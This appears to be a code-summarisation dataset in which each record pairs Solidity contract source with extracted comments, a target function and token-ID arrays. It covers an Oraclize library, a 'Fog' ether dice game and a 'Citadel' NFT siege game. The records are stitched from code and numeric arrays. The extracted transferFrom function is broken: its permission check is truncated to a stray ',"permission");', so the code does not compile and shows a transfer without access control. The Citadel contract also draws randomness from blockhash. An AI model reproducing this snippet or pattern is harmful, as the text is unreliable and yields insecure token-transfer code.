copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
// Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match
delete oraclize_randomDS_args[queryId];
} else return false;
// Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
// verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
// Buffer too small
require(to.length >= minLength); // Should be a better way?
// NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
// Duplicate Solidity's ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but don't update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly can't access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract Fog is usingOraclize {
address public owner;
address private playerAddress;
uint private playerValue;
event OwnershipTransferred(
address indexed owner,
address indexed newOwner
);
event Winner(address indexed to, uint indexed value);
event CupCake(address indexed to, uint indexed value);
event Looser(address indexed from, uint indexed value);
constructor() payable public {
owner = msg.sender;
oraclize_setProof(proofType_Ledger); // sets the Ledger authenticity proof in the constructor
}
function move() payable public {
require(msg.value >= 10000000000000000); // min 0.01 Ether
playerAddress = msg.sender;
playerValue = msg.value;
uint N = 1; // number of random bytes we want the datasource to return
uint delay = 0; // number of seconds to wait before the execution takes place
uint callbackGas = 200000; // amount of gas we want Oraclize to set for the callback function
oraclize_newRandomDSQuery(delay, N, callbackGas); // this function internally generates the correct oraclize_query and returns its queryId
}
// the callback function is called by Oraclize when the result is ready
// the oraclize_randomDS_proofVerify modifier prevents an invalid proof to execute this function code:
// the proof validity is fully verified on-chain
function __callback(bytes32 _queryId, string _result, bytes _proof) public
{
if (msg.sender != oraclize_cbAddress()) revert();
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
// the proof verification has failed
} else {
uint dice = uint(keccak256(abi.encodePacked(_result))) % 3;
// Winner
if (dice == 0) {
uint doubleValue = mul(playerValue, 2);
playerAddress.transfer(doubleValue);
emit Winner(playerAddress, doubleValue);
// Looser
} else if (dice == 1) {
emit Looser(playerAddress, playerValue);
// Woa! Refund 80%
} else if (dice == 2) {
uint eightyPercent = div(mul(playerValue, 80), 100);
playerAddress.transfer(eightyPercent);
emit CupCake(playerAddress, eightyPercent);
}
}
}
function drain(uint value) public onlyOwner {
require(value >= 0 && value < address(this).balance);
owner.transfer(value);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function() public payable { }
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
|
* @dev Appends a byte array to the end of the buffer. Resizes if doing so would exceed the capacity of the buffer. @param buf The buffer to append to. @param data The data to append. @return The original buffer./ Memory address of the buffer data Length of existing buffer data Start address = buffer address + buffer length + sizeof(buffer length) Update buffer length Copy word-length chunks while possible
|
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
| 15,040,210 |
[
1,
15049,
279,
1160,
526,
358,
326,
679,
434,
326,
1613,
18,
1124,
3128,
309,
9957,
1427,
1377,
4102,
9943,
326,
7519,
434,
326,
1613,
18,
225,
1681,
1021,
1613,
358,
714,
358,
18,
225,
501,
1021,
501,
358,
714,
18,
327,
1021,
2282,
1613,
18,
19,
9251,
1758,
434,
326,
1613,
501,
11311,
434,
2062,
1613,
501,
3603,
1758,
273,
1613,
1758,
397,
1613,
769,
397,
13726,
12,
4106,
769,
13,
2315,
1613,
769,
5631,
2076,
17,
2469,
6055,
1323,
3323,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
714,
12,
4106,
3778,
1681,
16,
1731,
501,
13,
2713,
16618,
1135,
12,
4106,
3778,
13,
288,
203,
565,
309,
12,
892,
18,
2469,
397,
1681,
18,
4385,
18,
2469,
405,
1681,
18,
16017,
13,
288,
203,
1377,
7041,
12,
4385,
16,
943,
12,
4385,
18,
16017,
16,
501,
18,
2469,
13,
380,
576,
1769,
203,
565,
289,
203,
203,
565,
2254,
1570,
31,
203,
565,
2254,
1705,
31,
203,
565,
2254,
562,
273,
501,
18,
2469,
31,
203,
565,
19931,
288,
203,
1377,
2231,
1681,
6723,
519,
312,
945,
12,
4385,
13,
203,
1377,
2231,
1681,
1897,
519,
312,
945,
12,
4385,
6723,
13,
203,
1377,
1570,
519,
527,
12,
1289,
12,
4385,
6723,
16,
1681,
1897,
3631,
3847,
13,
203,
1377,
312,
2233,
12,
4385,
6723,
16,
527,
12,
4385,
1897,
16,
312,
945,
12,
892,
20349,
203,
1377,
1705,
519,
527,
12,
892,
16,
3847,
13,
203,
565,
289,
203,
203,
565,
364,
12,
31,
562,
1545,
3847,
31,
562,
3947,
3847,
13,
288,
203,
1377,
19931,
288,
203,
3639,
312,
2233,
12,
10488,
16,
312,
945,
12,
4816,
3719,
203,
1377,
289,
203,
1377,
1570,
1011,
3847,
31,
203,
1377,
1705,
1011,
3847,
31,
203,
565,
289,
203,
203,
565,
19931,
288,
203,
1377,
2231,
1705,
2680,
519,
471,
12,
81,
945,
12,
4816,
3631,
486,
12,
4455,
3719,
203,
1377,
2231,
1570,
2680,
519,
471,
12,
81,
945,
12,
10488,
3631,
3066,
13,
203,
1377,
312,
2233,
12,
10488,
16,
578,
12,
10488,
2680,
16,
1705,
2680,
2
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/interfaces/IERC165.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
import "@openzeppelin/contracts/interfaces/IERC721Metadata.sol";
import "@openzeppelin/contracts/interfaces/IERC721Receiver.sol";
import "hardhat/console.sol";
//ERC721 is already ERC16 so no need to inherit twice
contract Citadel is IERC721, IERC721Metadata{
// _earlyAccessHolders - external NFT holder for early mint
//TODO _cityRoot - ?
constructor(bytes32 _cityRoot){
supportedInterfaces[0x80ac58cd] = true; //ERC721
supportedInterfaces[0x5b5e139f] = true; //ERC721Metadata
// supportedInterfaces[0x780e9d63] = true; //ERC721Enumerable
supportedInterfaces[0x01ffc9a7] = true; //ERC165
owner = msg.sender;
cityRoot = _cityRoot;
}
address public owner;
//////===721 Implementation
mapping(address => uint256) internal balances;
mapping (uint256 => address) internal allowance;
mapping (address => mapping (address => bool)) internal authorised;
uint16[] tokenIndexToCity; //Array of all tokens [cityId,cityId,...]
mapping(uint256 => address) owners; //Mapping of owners
// keep owners mapping
// use tokenIndexToCity for isValidToken
// METADATA VARS
string private __name = "Citadel NFT game";
string private __symbol = "CITADEL";
// bytes private __uriBase = bytes("https://gateway.pinata.cloud/ipfs/QmUwPH9PmTQrT67M633AJRXACsecmRTihf4DUbJZb9y83M/");
bytes private __uriBase = bytes("https://media.istockphoto.com/vectors/castle-tower-vector-id1003186156?k=20&m=1003186156&s=612x612&w=0&h=4BE1Vx3Rmj933gspqShngkSnfYWOOE6H88kV5edZIRo=");
bytes private __uriSuffix = bytes("");
// bytes private __uriSuffix = bytes(".json");
// Game vars
//cities on the map
uint constant MAX_CITIES = 100; //from table
int16 constant MAP_WIDTH = 1000; //map units
int16 constant MAP_HEIGHT = 700; //map units
int16 constant BASE_BLAST_RADIUS = 50; //map units
uint constant MINT_COST = 0.04 ether; //it's in BNB but here 'ether' is used for 1e18
uint constant MINT_PERCENT_WINNER = 50;
uint constant MINT_PERCENT_CALLER = 25;
uint constant MINT_PERCENT_CREATOR = 25;
uint constant REINFORCE_PERCENT_WINNER = 90;
uint constant REINFORCE_PERCENT_CREATOR = 10;
// uint constant IMPACT_BLOCK_INTERVAL = 600; //BSC creates a block every 3s, so every 30 min means 30*60/3 = 600
uint constant IMPACT_BLOCK_INTERVAL = 1; //BSC creates a block every 3s, so every 30 min means 30*60/3 = 600
mapping(uint16 => uint) public cityToToken;
mapping(uint16 => int16[2]) coordinates;
bytes32 cityRoot;
event Inhabit(uint16 indexed _cityId, uint256 indexed _tokenId);
event Reinforce(uint256 indexed _tokenId);
event Impact(uint256 indexed _tokenId);
mapping(uint => bytes32) structuralData;
function getStructuralData(uint _tokenId) public view returns (uint8 reinforcement, uint8 damage, bytes32 lastImpact){
bytes32 _data = structuralData[_tokenId];
reinforcement = uint8(uint(((_data << 248) >> 248)));
damage = uint8(uint(((_data << 240) >> 240) >> 8));
lastImpact = (_data >> 16);
return (reinforcement, damage, lastImpact);
}
function setStructuralData(uint _tokenId, uint8 reinforcement, uint8 damage, bytes32 lastImpact) internal{
bytes32 _reinforcement = bytes32(uint(reinforcement));
bytes32 _damage = bytes32(uint(damage)) << 8;
bytes32 _lastImpact = encodeImpact(lastImpact) << 16;
structuralData[_tokenId] = _reinforcement ^ _damage ^ _lastImpact;
}
function encodeImpact(bytes32 _impact) internal pure returns(bytes32){
return (_impact << 16) >> 16;
}
uint public reinforcements;
uint public destroyed;
uint public evacuatedFunds;
uint ownerWithdrawn;
bool winnerWithdrawn;
function tokenToCity(uint _tokenId) public view returns(uint16){
return tokenIndexToCity[_tokenId - 1];
}
uint public startTime;
uint SALE_TIME = 7 days;
uint EARLY_ACCESS_TIME = 1 days;
function startPreSiege() public{
require(msg.sender == owner,"owner");
require(startTime == 0,"started");
startTime = block.timestamp;
}
enum Stage {Initial,PreSiege,Siege,PostSiege}
function stage() public view returns(Stage){
if(startTime == 0){
return Stage.Initial;
}else if(block.timestamp < startTime + SALE_TIME && tokenIndexToCity.length < MAX_CITIES){
return Stage.PreSiege;
}else if(destroyed < tokenIndexToCity.length - 1){
return Stage.Siege;
}else{
return Stage.PostSiege;
}
}
// mint the NFT
function inhabit(uint16 _cityId, int16[2] calldata _coordinates, bytes32[] memory proof) public payable{
require(stage() == Stage.PreSiege,"stage");
if(block.timestamp < startTime + EARLY_ACCESS_TIME){
//First day is insiders list
// require(IERC721(earlyAccessHolders).balanceOf(msg.sender) > 0,"early");
}
bytes32 leaf = keccak256(abi.encodePacked(_cityId,_coordinates[0],_coordinates[1]));
require(MerkleProof.verify(proof, cityRoot, leaf),"proof");
require(cityToToken[_cityId] == 0 && coordinates[_cityId][0] == 0 && coordinates[_cityId][1] == 0,"inhabited");
require(
_coordinates[0] >= 0 &&
_coordinates[0] <= MAP_WIDTH &&
_coordinates[1] >= 0 &&
_coordinates[1] <= MAP_HEIGHT,
"off map"
); //Not strictly necessary but proves the whitelist hasnt been fucked with
console.log("msg.value", msg.value);
require(msg.value == MINT_COST,"cost");
coordinates[_cityId] = _coordinates;
tokenIndexToCity.push(_cityId);
uint _tokenId = tokenIndexToCity.length;
balances[msg.sender]++;
owners[_tokenId] = msg.sender;
cityToToken[_cityId] = _tokenId;
emit Inhabit(_cityId, _tokenId);
emit Transfer(address(0),msg.sender,_tokenId);
}
function isUninhabited(uint16 _cityId) public view returns(bool){
return coordinates[_cityId][0] == 0 && coordinates[_cityId][1] == 0;
}
function reinforce(uint _tokenId) public payable{
Stage _stage = stage();
require(_stage == Stage.PreSiege || _stage == Stage.Siege,"stage");
require(ownerOf(_tokenId) == msg.sender,"owner");
//Covered by ownerOf
// require(isValidToken(_tokenId),"invalid");
(uint8 _reinforcement, uint8 _damage, bytes32 _lastImpact) = getStructuralData(_tokenId);
if(_stage == Stage.Siege){
require(!checkVulnerable(_tokenId,_lastImpact),"vulnerable");
}
// covered by isValidToken
//require(_damage <= _reinforcement,"eliminated" );
require(msg.value == (2 ** _reinforcement) * MINT_COST,"cost");
setStructuralData(_tokenId,_reinforcement+1,_damage,_lastImpact);
reinforcements += msg.value - (MINT_COST * MINT_PERCENT_CALLER / 100);
emit Reinforce(_tokenId);
}
function evacuate(uint _tokenId) public{
Stage _stage = stage();
require(_stage == Stage.PreSiege || _stage == Stage.Siege,"stage");
require(ownerOf(_tokenId) == msg.sender,"owner");
// covered by isValidToken in ownerOf
// require(_damage <= _reinforcement,"eliminated" );
if(_stage == Stage.Siege){
require(!isVulnerable(_tokenId),"vulnerable");
}
uint cityCount = tokenIndexToCity.length;
uint fromPool =
//Winner fee from mints less evacuated funds
((MINT_COST * cityCount * MINT_PERCENT_WINNER / 100 - evacuatedFunds)
//Divided by remaining tokens
/ totalSupply())
//Divided by two
/ 2;
//Also give them the admin fee
uint toWithdraw = fromPool + getEvacuationRebate(_tokenId);
balances[owners[_tokenId]]--;
delete cityToToken[tokenToCity(_tokenId)];
destroyed++;
//Doesnt' include admin fees in evacedFunds
evacuatedFunds += fromPool;
emit Transfer(owners[_tokenId],address(0),_tokenId);
payable(msg.sender).send(
toWithdraw
);
}
function getEvacuationRebate(uint _tokenId) public view returns(uint) {
(uint8 _reinforcement, uint8 _damage, bytes32 _lastImpact) = getStructuralData(_tokenId);
_lastImpact;
return MINT_COST * (1 + _reinforcement - _damage) * MINT_PERCENT_CALLER / 100;
}
function confirmHit(uint _tokenId) public{
require(stage() == Stage.Siege,"stage");
require(isValidToken(_tokenId),"invalid");
(uint8 _reinforcement, uint8 _damage, bytes32 _lastImpact) = getStructuralData(_tokenId);
// covered by isValidToken
// require(_damage <= _reinforcement,"eliminated" );
require(checkVulnerable(_tokenId,_lastImpact),"vulnerable");
(int64[2] memory _coordinates, int64 _radius, bytes32 _impactId) = currentImpact();
_coordinates;_radius;
_impactId = encodeImpact(_impactId);
emit Impact(_tokenId);
if(_damage < _reinforcement){
_damage++;
setStructuralData(_tokenId,_reinforcement,_damage,_impactId);
}else{
balances[owners[_tokenId]]--;
delete cityToToken[tokenToCity(_tokenId)];
destroyed++;
emit Transfer(owners[_tokenId],address(0),_tokenId);
}
payable(msg.sender).send(MINT_COST * MINT_PERCENT_CALLER / 100);
}
function winnerWithdraw(uint _winnerTokenId) public{
require(stage() == Stage.PostSiege,"stage");
require(isValidToken(_winnerTokenId),"invalid");
// Implicitly makes sure its the right token since all others don't exist
require(msg.sender == ownerOf(_winnerTokenId),"ownerOf");
require(!winnerWithdrawn,"withdrawn");
winnerWithdrawn = true;
uint toWithdraw = winnerPrize(_winnerTokenId);
if(toWithdraw > address(this).balance){
//Catch rounding errors
toWithdraw = address(this).balance;
}
payable(msg.sender).send(toWithdraw);
}
function ownerWithdraw() public{
require(msg.sender == owner,"owner");
uint cityCount = tokenIndexToCity.length;
// Dev and creator portion of all mint fees collected
uint toWithdraw = MINT_COST * cityCount * (MINT_PERCENT_CREATOR) / 100
//plus reinforcement for creator
+ reinforcements * REINFORCE_PERCENT_CREATOR / 100
//less what has already been withdrawn;
- ownerWithdrawn;
require(toWithdraw > 0,"empty");
if(toWithdraw > address(this).balance){
//Catch rounding errors
toWithdraw = address(this).balance;
}
ownerWithdrawn += toWithdraw;
payable(msg.sender).send(toWithdraw);
}
function currentImpact() public view returns (int64[2] memory _coordinates, int64 _radius, bytes32 impactId){
uint eliminationBlock = block.number - (block.number % IMPACT_BLOCK_INTERVAL) - 5;
int hash = int(uint(blockhash(eliminationBlock))%uint(type(int).max) );
//Min radius is half map height divided by num
int o = MAP_HEIGHT/2/int(totalSupply()+1);
//Limited in smallness to about 8% of map height
if(o < BASE_BLAST_RADIUS){
o = BASE_BLAST_RADIUS;
}
//Max radius is twice this
_coordinates[0] = int64(hash%MAP_WIDTH - MAP_WIDTH/2);
_coordinates[1] = int64((hash/MAP_WIDTH)%MAP_HEIGHT - MAP_HEIGHT/2);
_radius = int64((hash/MAP_WIDTH/MAP_HEIGHT)%o + o);
return(_coordinates,_radius, keccak256(abi.encodePacked(_coordinates,_radius)));
}
function checkVulnerable(uint _tokenId, bytes32 _lastImpact) internal view returns(bool){
(int64[2] memory _coordinates, int64 _radius, bytes32 _impactId) = currentImpact();
if(_lastImpact == encodeImpact(_impactId)) return false;
uint16 _cityId = tokenToCity(_tokenId);
int64 dx = coordinates[_cityId][0] - _coordinates[0];
int64 dy = coordinates[_cityId][1] - _coordinates[1];
return (dx**2 + dy**2 < _radius**2) ||
((dx + MAP_WIDTH )**2 + dy**2 < _radius**2) ||
((dx - MAP_WIDTH )**2 + dy**2 < _radius**2);
}
function isVulnerable(uint _tokenId) public view returns(bool){
(uint8 _reinforcement, uint8 _damage, bytes32 _lastImpact) = getStructuralData(_tokenId);
_reinforcement;_damage;
return checkVulnerable(_tokenId,_lastImpact);
}
function getFallen(uint _tokenId) public view returns(uint16 _cityId, address _owner){
_cityId = tokenToCity(_tokenId);
_owner = owners[_tokenId];
require(cityToToken[_cityId] == 0 && _owner != address(0),"survives");
return (_cityId,owners[_tokenId]);
}
function currentPrize() public view returns(uint){
uint cityCount = tokenIndexToCity.length;
// 50% of all mint fees collected
return MINT_COST * cityCount * MINT_PERCENT_WINNER / 100
//minus fees removed
- evacuatedFunds
//plus reinforcement * 90%
+ reinforcements * REINFORCE_PERCENT_WINNER / 100;
}
function winnerPrize(uint _tokenId) public view returns(uint){
return currentPrize() + getEvacuationRebate(_tokenId);
}
///ERC 721:
function isValidToken(uint256 _tokenId) internal view returns(bool){
if(_tokenId == 0) return false;
return cityToToken[tokenToCity(_tokenId)] != 0;
}
function balanceOf(address _owner) external override view returns (uint256){
return balances[_owner];
}
function ownerOf(uint256 _tokenId) public override view returns(address){
require(isValidToken(_tokenId),"invalid");
return owners[_tokenId];
}
function approve(address _approved, uint256 _tokenId) external override {
address _owner = ownerOf(_tokenId);
require( _owner == msg.sender //Require Sender Owns Token
|| authorised[_owner][msg.sender] // or is approved for all.
,"permission");
emit Approval(_owner, _approved, _tokenId);
allowance[_tokenId] = _approved;
}
function getApproved(uint256 _tokenId) external override view returns (address) {
require(isValidToken(_tokenId),"invalid");
return allowance[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external override view returns (bool) {
return authorised[_owner][_operator];
}
function setApprovalForAll(address _operator, bool _approved) external override {
emit ApprovalForAll(msg.sender,_operator, _approved);
authorised[msg.sender][_operator] = _approved;
}
function transferFrom(address _from, address _to, uint256 _tokenId) public override {
//Check Transferable
//There is a token validity check in ownerOf
address _owner = ownerOf(_tokenId);
require ( _owner == msg.sender //Require sender owns token
//Doing the two below manually instead of referring to the external methods saves gas
|| allowance[_tokenId] == msg.sender //or is approved for this token
|| authorised[_owner][msg.sender] //or is approved for all
,"permission");
require(_owner == _from,"owner");
require(_to != address(0),"zero");
require(!isVulnerable(_tokenId),"vulnerable");
emit Transfer(_from, _to, _tokenId);
owners[_tokenId] =_to;
balances[_from]--;
balances[_to]++;
//Reset approved if there is one
if(allowance[_tokenId] != address(0)){
delete allowance[_tokenId];
}
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public override {
transferFrom(_from, _to, _tokenId);
//Get size of "_to" address, if 0 it's a wallet
uint32 size;
assembly {
size := extcodesize(_to)
}
if(size > 0){
IERC721Receiver receiver = IERC721Receiver(_to);
require(receiver.onERC721Received(msg.sender,_from,_tokenId,data) == bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")),"receiver");
}
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external override {
safeTransferFrom(_from,_to,_tokenId,"");
}
// METADATA FUNCTIONS
function tokenURI(uint256 _tokenId) public override view returns (string memory){
//Note: changed visibility to public
require(isValidToken(_tokenId),'tokenId');
uint _cityId = tokenToCity(_tokenId);
uint _i = _cityId;
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(abi.encodePacked(__uriBase,bstr,__uriSuffix));
}
function name() external override view returns (string memory _name){
return __name;
}
function symbol() external override view returns (string memory _symbol){
return __symbol;
}
// ENUMERABLE FUNCTIONS
function totalSupply() public view returns (uint256){
return tokenIndexToCity.length - destroyed;
}
// End 721 Implementation
///////===165 Implementation
mapping (bytes4 => bool) internal supportedInterfaces;
function supportsInterface(bytes4 interfaceID) external override view returns (bool){
return supportedInterfaces[interfaceID];
}
///==End 165
//Admin
function setOwner(address newOwner) public{
require(msg.sender == owner,"owner");
owner = newOwner;
}
function setUriComponents(string calldata _newBase, string calldata _newSuffix) public{
require(msg.sender == owner,"owner");
__uriBase = bytes(_newBase);
__uriSuffix = bytes(_newSuffix);
}
}
|
Check TransferableThere is a token validity check in ownerOfDoing the two below manually instead of referring to the external methods saves gasReset approved if there is one
|
function transferFrom(address _from, address _to, uint256 _tokenId) public override {
address _owner = ownerOf(_tokenId);
,"permission");
require(_owner == _from,"owner");
require(_to != address(0),"zero");
require(!isVulnerable(_tokenId),"vulnerable");
emit Transfer(_from, _to, _tokenId);
owners[_tokenId] =_to;
balances[_from]--;
balances[_to]++;
if(allowance[_tokenId] != address(0)){
delete allowance[_tokenId];
}
}
| 5,430,644 |
[
1,
1564,
12279,
429,
9828,
353,
279,
1147,
13800,
866,
316,
3410,
951,
3244,
310,
326,
2795,
5712,
10036,
3560,
434,
1278,
20245,
358,
326,
3903,
2590,
14649,
16189,
7013,
20412,
309,
1915,
353,
1245,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
2316,
548,
13,
1071,
3849,
288,
203,
203,
3639,
1758,
389,
8443,
273,
3410,
951,
24899,
2316,
548,
1769,
203,
203,
3639,
269,
6,
9827,
8863,
203,
3639,
2583,
24899,
8443,
422,
389,
2080,
10837,
8443,
8863,
203,
3639,
2583,
24899,
869,
480,
1758,
12,
20,
3631,
6,
7124,
8863,
203,
203,
3639,
2583,
12,
5,
291,
58,
19063,
429,
24899,
2316,
548,
3631,
6,
90,
19063,
429,
8863,
203,
203,
3639,
3626,
12279,
24899,
2080,
16,
389,
869,
16,
389,
2316,
548,
1769,
203,
203,
203,
3639,
25937,
63,
67,
2316,
548,
65,
273,
67,
869,
31,
203,
203,
3639,
324,
26488,
63,
67,
2080,
65,
413,
31,
203,
3639,
324,
26488,
63,
67,
869,
3737,
15,
31,
203,
203,
3639,
309,
12,
5965,
1359,
63,
67,
2316,
548,
65,
480,
1758,
12,
20,
3719,
95,
203,
5411,
1430,
1699,
1359,
63,
67,
2316,
548,
15533,
203,
3639,
289,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
